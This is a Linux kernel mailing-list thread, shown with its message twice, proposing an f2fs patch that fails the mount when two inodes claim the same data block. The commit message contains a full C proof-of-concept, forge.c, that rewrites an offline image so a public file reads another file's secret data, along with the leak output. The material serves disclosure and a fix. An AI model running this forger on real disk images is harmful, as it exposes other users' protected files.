* [PATCH] f2fs: verify inode data-block ownership at mount
@ 2026-10-16 14:32 ` Haoran Wang
0 siblings, 0 replies; 2+ messages in thread
From: Haoran Wang @ 2026-10-16 14:32 UTC (permalink / raw)
To: jaegeuk, chao; +Cc: linux-f2fs-devel, linux-kernel, haoranwangsec
From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
From: Haoran Wang <haoranwangsec@gmail.com>
Subject: [PATCH] f2fs: verify inode data-block ownership at mount
\
f2fs resolves a file's logical offsets to data blocks through on-disk
inode metadata but never checks that a data block claimed by one inode is
not also claimed by another. With offline write access to the block
device an attacker can forge a regular inode's i_addr so that a
world-readable file reads back a different file's data blocks, leaking
its contents across the permission boundary once the image is mounted.
PoC (forge.c, pre-patch; default mkfs.f2fs image, feature 0x00000000,
inode_checksum off):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#define BLK 4096
#define FO (BLK - 24) /* 4072: node footer offset within block */
#define SB 1024 /* superblock offset in the image */
static uint8_t *data;
static off_t len;
static uint16_t rd16(off_t o) { return data[o] | (data[o + 1] << 8); }
static uint32_t rd32(off_t o) {
return data[o] | (data[o + 1] << 8) | (data[o + 2] << 16) | (data[o + 3] << 24);
}
static uint64_t rd64(off_t o) {
uint64_t v = 0;
for (int i = 0; i < 8; i++) v |= (uint64_t)data[o + i] << (8 * i);
return v;
}
static void wr32(off_t o, uint32_t v) {
data[o] = v; data[o + 1] = v >> 8; data[o + 2] = v >> 16; data[o + 3] = v >> 24;
}
static void wr64(off_t o, uint64_t v) {
for (int i = 0; i < 8; i++) data[o + i] = v >> (8 * i);
}
struct finfo {
off_t off;
uint64_t size;
int inl;
uint32_t ext_blk, ext_len, addrs[16];
uint8_t i_inline;
};
static int find(const char *name, struct finfo *f)
{
uint32_t main = rd32(SB + 96);
uint32_t end = main + 16384;
if ((off_t)end > len / BLK)
end = len / BLK;
for (uint32_t blk = main; blk < end; blk++) {
off_t off = (off_t)blk * BLK;
if (off + BLK > len)
break;
uint32_t nid = rd32(off + FO);
uint32_t ino = rd32(off + FO + 4);
if (nid != ino || nid < 1)
continue;
uint16_t mode = rd16(off);
if ((mode & 0xF000) == 0x4000) /* directory */
continue;
char nm[256];
memcpy(nm, data + off + 92, 255);
nm[255] = 0;
if (strcmp(nm, name) != 0)
continue;
f->off = off;
f->i_inline = data[off + 3];
f->size = rd64(off + 16);
f->ext_blk = rd32(off + 352);
f->ext_len = rd32(off + 356);
for (int j = 0; j < 16; j++)
f->addrs[j] = rd32(off + 360 + j * 4);
f->inl = f->i_inline & 0x02;
return 0;
}
return -1;
}
static void do_forge(struct finfo *s, struct finfo *t)
{
if (s->inl) {
memcpy(data + t->off + 360, data + s->off + 360, 3688);
data[t->off + 3] |= 0x02 | 0x08;
wr64(t->off + 16, s->size);
} else {
wr32(t->off + 352, s->ext_blk);
wr32(t->off + 356, s->ext_len);
for (int j = 0; j < 16; j++)
if (s->addrs[j])
wr32(t->off + 360 + j * 4, s->addrs[j]);
wr64(t->off + 16, s->size);
data[t->off + 3] &= ~0x02;
}
}
static ssize_t read_all(int fd, uint8_t *buf, off_t n)
{
off_t got = 0;
while (got < n) {
ssize_t r = read(fd, buf + got, n - got);
if (r < 0) return -1;
if (r == 0) break;
got += r;
}
return got;
}
static ssize_t write_all(int fd, const uint8_t *buf, off_t n)
{
off_t put = 0;
while (put < n) {
ssize_t r = write(fd, buf + put, n - put);
if (r < 0) return -1;
put += r;
}
return put;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s <image>\n", argv[0]);
return 2;
}
int fd = open(argv[1], O_RDWR);
if (fd < 0) { perror("open"); return 2; }
struct stat st;
if (fstat(fd, &st)) { perror("fstat"); return 2; }
len = st.st_size;
data = malloc(len);
if (!data) { perror("malloc"); return 2; }
if (read_all(fd, data, len) != len) { perror("read"); return 2; }
struct finfo s, t;
if (find("secret", &s)) { printf("forge: secret not found\n"); return 1; }
if (find("public", &t)) { printf("forge: public not found\n"); return 1; }
printf("secret: off=%lld inline=%d size=%llu ext_blk=%u ext_len=%u\n",
(long long)s.off, s.inl, (unsigned long long)s.size,
s.ext_blk, s.ext_len);
printf("public: off=%lld inline=%d size=%llu\n",
(long long)t.off, t.inl, (unsigned long long)t.size);
do_forge(&s, &t);
if (lseek(fd, 0, SEEK_SET) < 0) { perror("lseek"); return 2; }
if (write_all(fd, data, len) != len) { perror("write"); return 2; }
printf("forge: public -> secret (%s) done\n", s.inl ? "inline" : "extent");
free(data);
close(fd);
return 0;
}
Pre-patch result:
forge: public -> secret (extent) done
$ cat /mnt/public
SECRET_EXT_99999
RESULT: LEAK -- SECRET_EXT readable via public (vuln present)
Add a mount-time scan that, for every regular, non-inline-data,
non-inline-dentry, non-compressed inode in the main area, records each
direct data address in i_addr[base..end) into a per-block bitmap --
skipping the extra-attr region (base) and the inline-xattr tail (end)
where present. f2fs never intentionally shares data blocks between
inodes, so an address already claimed by another inode is unambiguous
corruption: the mount fails with -EFSCORRUPTED instead of exposing the
stale data. The check runs after f2fs_build_gc_manager() and unwinds
through the existing free_nm path on failure.
Inline-data files carry no separate data block and so are outside the
scope of this ownership check.
Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---
fs/f2fs/f2fs.h | 1 +
fs/f2fs/node.c | 79 +++++++++++++++++++++++++++++++++++++++++++++++++++++
fs/f2fs/super.c | 6 ++++++
3 files changed, 86 insertions(+)
diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h
--- a/fs/f2fs/f2fs.h
+++ b/fs/f2fs/f2fs.h
@@ -3978,6 +3978,7 @@
bool f2fs_need_inode_block_update(struct f2fs_sb_info *sbi, nid_t ino);
int f2fs_get_node_info(struct f2fs_sb_info *sbi, nid_t nid,
struct node_info *ni, bool checkpoint_context);
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi);
pgoff_t f2fs_get_next_page_offset(struct dnode_of_data *dn, pgoff_t pgofs);
int f2fs_get_dnode_of_data(struct dnode_of_data *dn, pgoff_t index, int mode);
int f2fs_truncate_inode_blocks(struct inode *inode, pgoff_t from);
diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -6,6 +6,7 @@
* http://www.samsung.com/
*/
#include <linux/fs.h>
+#include <linux/buffer_head.h>
#include <linux/f2fs_fs.h>
#include <linux/mpage.h>
#include <linux/sched/mm.h>
diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -3445,6 +3446,84 @@
return 0;
}
+static int f2fs_claim_data_addr(unsigned long *claimed, block_t main_b,
+ block_t total, block_t blkaddr)
+{
+ if (blkaddr == NULL_ADDR || blkaddr == NEW_ADDR)
+ return 0;
+ if (blkaddr < main_b || blkaddr >= total)
+ return 0;
+ if (test_and_set_bit(blkaddr, claimed))
+ return -EFSCORRUPTED;
+ return 0;
+}
+
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi)
+{
+ struct f2fs_super_block *raw = F2FS_RAW_SUPER(sbi);
+ block_t main_b = le32_to_cpu(raw->main_blkaddr);
+ block_t total = le64_to_cpu(raw->block_count);
+ unsigned long *claimed;
+ struct buffer_head *bh = NULL;
+ block_t blk;
+ int err = 0;
+
+ claimed = kvzalloc_objs(unsigned long, BITS_TO_LONGS(total));
+ if (!claimed)
+ return -ENOMEM;
+
+ for (blk = main_b; blk < total; blk++) {
+ struct f2fs_node *fn;
+ struct f2fs_inode *ri;
+ nid_t nid, ino;
+ int base, end, i;
+
+ bh = sb_bread(sbi->sb, blk);
+ if (!bh) {
+ err = -EIO;
+ break;
+ }
+ fn = (struct f2fs_node *)bh->b_data;
+ nid = le32_to_cpu(fn->footer.nid);
+ ino = le32_to_cpu(fn->footer.ino);
+ if (nid != ino || !nid)
+ goto next;
+ ri = &fn->i;
+ if (!S_ISREG(le16_to_cpu(ri->i_mode)))
+ goto next;
+ if (ri->i_inline & (F2FS_INLINE_DATA | F2FS_INLINE_DENTRY))
+ goto next;
+ if (le32_to_cpu(ri->i_flags) & F2FS_COMPR_FL)
+ goto next;
+ base = (ri->i_inline & F2FS_EXTRA_ATTR)
+ ? le16_to_cpu(ri->i_extra_isize) / 4 : 0;
+ end = DEF_ADDRS_PER_INODE;
+ if (ri->i_inline & F2FS_INLINE_XATTR) {
+ if (f2fs_sb_has_flexible_inline_xattr(sbi) &&
+ (ri->i_inline & F2FS_EXTRA_ATTR))
+ end -= le16_to_cpu(ri->i_inline_xattr_size);
+ else
+ end -= DEFAULT_INLINE_XATTR_ADDRS;
+ }
+ if (base > end || end > DEF_ADDRS_PER_INODE)
+ goto next;
+ for (i = base; i < end; i++) {
+ err = f2fs_claim_data_addr(claimed, main_b, total,
+ le32_to_cpu(ri->i_addr[i]));
+ if (err)
+ goto out;
+ }
+next:
+ brelse(bh);
+ bh = NULL;
+ }
+out:
+ if (bh)
+ brelse(bh);
+ kvfree(claimed);
+ return err;
+}
+
int f2fs_build_node_manager(struct f2fs_sb_info *sbi)
{
int err;
diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c
--- a/fs/f2fs/super.c
+++ b/fs/f2fs/super.c
@@ -5261,6 +5261,12 @@
f2fs_build_gc_manager(sbi);
+ err = f2fs_verify_inode_data_ownership(sbi);
+ if (err) {
+ f2fs_err(sbi, "data block referenced by multiple inodes");
+ goto free_nm;
+ }
+
err = f2fs_build_stats(sbi);
if (err)
goto free_nm;
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread
* [f2fs-dev] [PATCH] f2fs: verify inode data-block ownership at mount
@ 2026-10-16 14:32 ` Haoran Wang
0 siblings, 0 replies; 2+ messages in thread
From: Haoran Wang @ 2026-10-16 14:32 UTC (permalink / raw)
To: jaegeuk, chao; +Cc: haoranwangsec, linux-kernel, linux-f2fs-devel
From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
From: Haoran Wang <haoranwangsec@gmail.com>
Subject: [PATCH] f2fs: verify inode data-block ownership at mount
\
f2fs resolves a file's logical offsets to data blocks through on-disk
inode metadata but never checks that a data block claimed by one inode is
not also claimed by another. With offline write access to the block
device an attacker can forge a regular inode's i_addr so that a
world-readable file reads back a different file's data blocks, leaking
its contents across the permission boundary once the image is mounted.
PoC (forge.c, pre-patch; default mkfs.f2fs image, feature 0x00000000,
inode_checksum off):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#define BLK 4096
#define FO (BLK - 24) /* 4072: node footer offset within block */
#define SB 1024 /* superblock offset in the image */
static uint8_t *data;
static off_t len;
static uint16_t rd16(off_t o) { return data[o] | (data[o + 1] << 8); }
static uint32_t rd32(off_t o) {
return data[o] | (data[o + 1] << 8) | (data[o + 2] << 16) | (data[o + 3] << 24);
}
static uint64_t rd64(off_t o) {
uint64_t v = 0;
for (int i = 0; i < 8; i++) v |= (uint64_t)data[o + i] << (8 * i);
return v;
}
static void wr32(off_t o, uint32_t v) {
data[o] = v; data[o + 1] = v >> 8; data[o + 2] = v >> 16; data[o + 3] = v >> 24;
}
static void wr64(off_t o, uint64_t v) {
for (int i = 0; i < 8; i++) data[o + i] = v >> (8 * i);
}
struct finfo {
off_t off;
uint64_t size;
int inl;
uint32_t ext_blk, ext_len, addrs[16];
uint8_t i_inline;
};
static int find(const char *name, struct finfo *f)
{
uint32_t main = rd32(SB + 96);
uint32_t end = main + 16384;
if ((off_t)end > len / BLK)
end = len / BLK;
for (uint32_t blk = main; blk < end; blk++) {
off_t off = (off_t)blk * BLK;
if (off + BLK > len)
break;
uint32_t nid = rd32(off + FO);
uint32_t ino = rd32(off + FO + 4);
if (nid != ino || nid < 1)
continue;
uint16_t mode = rd16(off);
if ((mode & 0xF000) == 0x4000) /* directory */
continue;
char nm[256];
memcpy(nm, data + off + 92, 255);
nm[255] = 0;
if (strcmp(nm, name) != 0)
continue;
f->off = off;
f->i_inline = data[off + 3];
f->size = rd64(off + 16);
f->ext_blk = rd32(off + 352);
f->ext_len = rd32(off + 356);
for (int j = 0; j < 16; j++)
f->addrs[j] = rd32(off + 360 + j * 4);
f->inl = f->i_inline & 0x02;
return 0;
}
return -1;
}
static void do_forge(struct finfo *s, struct finfo *t)
{
if (s->inl) {
memcpy(data + t->off + 360, data + s->off + 360, 3688);
data[t->off + 3] |= 0x02 | 0x08;
wr64(t->off + 16, s->size);
} else {
wr32(t->off + 352, s->ext_blk);
wr32(t->off + 356, s->ext_len);
for (int j = 0; j < 16; j++)
if (s->addrs[j])
wr32(t->off + 360 + j * 4, s->addrs[j]);
wr64(t->off + 16, s->size);
data[t->off + 3] &= ~0x02;
}
}
static ssize_t read_all(int fd, uint8_t *buf, off_t n)
{
off_t got = 0;
while (got < n) {
ssize_t r = read(fd, buf + got, n - got);
if (r < 0) return -1;
if (r == 0) break;
got += r;
}
return got;
}
static ssize_t write_all(int fd, const uint8_t *buf, off_t n)
{
off_t put = 0;
while (put < n) {
ssize_t r = write(fd, buf + put, n - put);
if (r < 0) return -1;
put += r;
}
return put;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s <image>\n", argv[0]);
return 2;
}
int fd = open(argv[1], O_RDWR);
if (fd < 0) { perror("open"); return 2; }
struct stat st;
if (fstat(fd, &st)) { perror("fstat"); return 2; }
len = st.st_size;
data = malloc(len);
if (!data) { perror("malloc"); return 2; }
if (read_all(fd, data, len) != len) { perror("read"); return 2; }
struct finfo s, t;
if (find("secret", &s)) { printf("forge: secret not found\n"); return 1; }
if (find("public", &t)) { printf("forge: public not found\n"); return 1; }
printf("secret: off=%lld inline=%d size=%llu ext_blk=%u ext_len=%u\n",
(long long)s.off, s.inl, (unsigned long long)s.size,
s.ext_blk, s.ext_len);
printf("public: off=%lld inline=%d size=%llu\n",
(long long)t.off, t.inl, (unsigned long long)t.size);
do_forge(&s, &t);
if (lseek(fd, 0, SEEK_SET) < 0) { perror("lseek"); return 2; }
if (write_all(fd, data, len) != len) { perror("write"); return 2; }
printf("forge: public -> secret (%s) done\n", s.inl ? "inline" : "extent");
free(data);
close(fd);
return 0;
}
Pre-patch result:
forge: public -> secret (extent) done
$ cat /mnt/public
SECRET_EXT_99999
RESULT: LEAK -- SECRET_EXT readable via public (vuln present)
Add a mount-time scan that, for every regular, non-inline-data,
non-inline-dentry, non-compressed inode in the main area, records each
direct data address in i_addr[base..end) into a per-block bitmap --
skipping the extra-attr region (base) and the inline-xattr tail (end)
where present. f2fs never intentionally shares data blocks between
inodes, so an address already claimed by another inode is unambiguous
corruption: the mount fails with -EFSCORRUPTED instead of exposing the
stale data. The check runs after f2fs_build_gc_manager() and unwinds
through the existing free_nm path on failure.
Inline-data files carry no separate data block and so are outside the
scope of this ownership check.
Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---
fs/f2fs/f2fs.h | 1 +
fs/f2fs/node.c | 79 +++++++++++++++++++++++++++++++++++++++++++++++++++++
fs/f2fs/super.c | 6 ++++++
3 files changed, 86 insertions(+)
diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h
--- a/fs/f2fs/f2fs.h
+++ b/fs/f2fs/f2fs.h
@@ -3978,6 +3978,7 @@
bool f2fs_need_inode_block_update(struct f2fs_sb_info *sbi, nid_t ino);
int f2fs_get_node_info(struct f2fs_sb_info *sbi, nid_t nid,
struct node_info *ni, bool checkpoint_context);
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi);
pgoff_t f2fs_get_next_page_offset(struct dnode_of_data *dn, pgoff_t pgofs);
int f2fs_get_dnode_of_data(struct dnode_of_data *dn, pgoff_t index, int mode);
int f2fs_truncate_inode_blocks(struct inode *inode, pgoff_t from);
diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -6,6 +6,7 @@
* http://www.samsung.com/
*/
#include <linux/fs.h>
+#include <linux/buffer_head.h>
#include <linux/f2fs_fs.h>
#include <linux/mpage.h>
#include <linux/sched/mm.h>
diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -3445,6 +3446,84 @@
return 0;
}
+static int f2fs_claim_data_addr(unsigned long *claimed, block_t main_b,
+ block_t total, block_t blkaddr)
+{
+ if (blkaddr == NULL_ADDR || blkaddr == NEW_ADDR)
+ return 0;
+ if (blkaddr < main_b || blkaddr >= total)
+ return 0;
+ if (test_and_set_bit(blkaddr, claimed))
+ return -EFSCORRUPTED;
+ return 0;
+}
+
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi)
+{
+ struct f2fs_super_block *raw = F2FS_RAW_SUPER(sbi);
+ block_t main_b = le32_to_cpu(raw->main_blkaddr);
+ block_t total = le64_to_cpu(raw->block_count);
+ unsigned long *claimed;
+ struct buffer_head *bh = NULL;
+ block_t blk;
+ int err = 0;
+
+ claimed = kvzalloc_objs(unsigned long, BITS_TO_LONGS(total));
+ if (!claimed)
+ return -ENOMEM;
+
+ for (blk = main_b; blk < total; blk++) {
+ struct f2fs_node *fn;
+ struct f2fs_inode *ri;
+ nid_t nid, ino;
+ int base, end, i;
+
+ bh = sb_bread(sbi->sb, blk);
+ if (!bh) {
+ err = -EIO;
+ break;
+ }
+ fn = (struct f2fs_node *)bh->b_data;
+ nid = le32_to_cpu(fn->footer.nid);
+ ino = le32_to_cpu(fn->footer.ino);
+ if (nid != ino || !nid)
+ goto next;
+ ri = &fn->i;
+ if (!S_ISREG(le16_to_cpu(ri->i_mode)))
+ goto next;
+ if (ri->i_inline & (F2FS_INLINE_DATA | F2FS_INLINE_DENTRY))
+ goto next;
+ if (le32_to_cpu(ri->i_flags) & F2FS_COMPR_FL)
+ goto next;
+ base = (ri->i_inline & F2FS_EXTRA_ATTR)
+ ? le16_to_cpu(ri->i_extra_isize) / 4 : 0;
+ end = DEF_ADDRS_PER_INODE;
+ if (ri->i_inline & F2FS_INLINE_XATTR) {
+ if (f2fs_sb_has_flexible_inline_xattr(sbi) &&
+ (ri->i_inline & F2FS_EXTRA_ATTR))
+ end -= le16_to_cpu(ri->i_inline_xattr_size);
+ else
+ end -= DEFAULT_INLINE_XATTR_ADDRS;
+ }
+ if (base > end || end > DEF_ADDRS_PER_INODE)
+ goto next;
+ for (i = base; i < end; i++) {
+ err = f2fs_claim_data_addr(claimed, main_b, total,
+ le32_to_cpu(ri->i_addr[i]));
+ if (err)
+ goto out;
+ }
+next:
+ brelse(bh);
+ bh = NULL;
+ }
+out:
+ if (bh)
+ brelse(bh);
+ kvfree(claimed);
+ return err;
+}
+
int f2fs_build_node_manager(struct f2fs_sb_info *sbi)
{
int err;
diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c
--- a/fs/f2fs/super.c
+++ b/fs/f2fs/super.c
@@ -5261,6 +5261,12 @@
f2fs_build_gc_manager(sbi);
+ err = f2fs_verify_inode_data_ownership(sbi);
+ if (err) {
+ f2fs_err(sbi, "data block referenced by multiple inodes");
+ goto free_nm;
+ }
+
err = f2fs_build_stats(sbi);
if (err)
goto free_nm;
--
2.43.0
_______________________________________________
Linux-f2fs-devel mailing list
Linux-f2fs-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/linux-f2fs-devel
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-10-16 14:33 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-16 14:32 [PATCH] f2fs: verify inode data-block ownership at mount Haoran Wang
2026-10-16 14:32 ` [f2fs-dev] " Haoran Wang
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.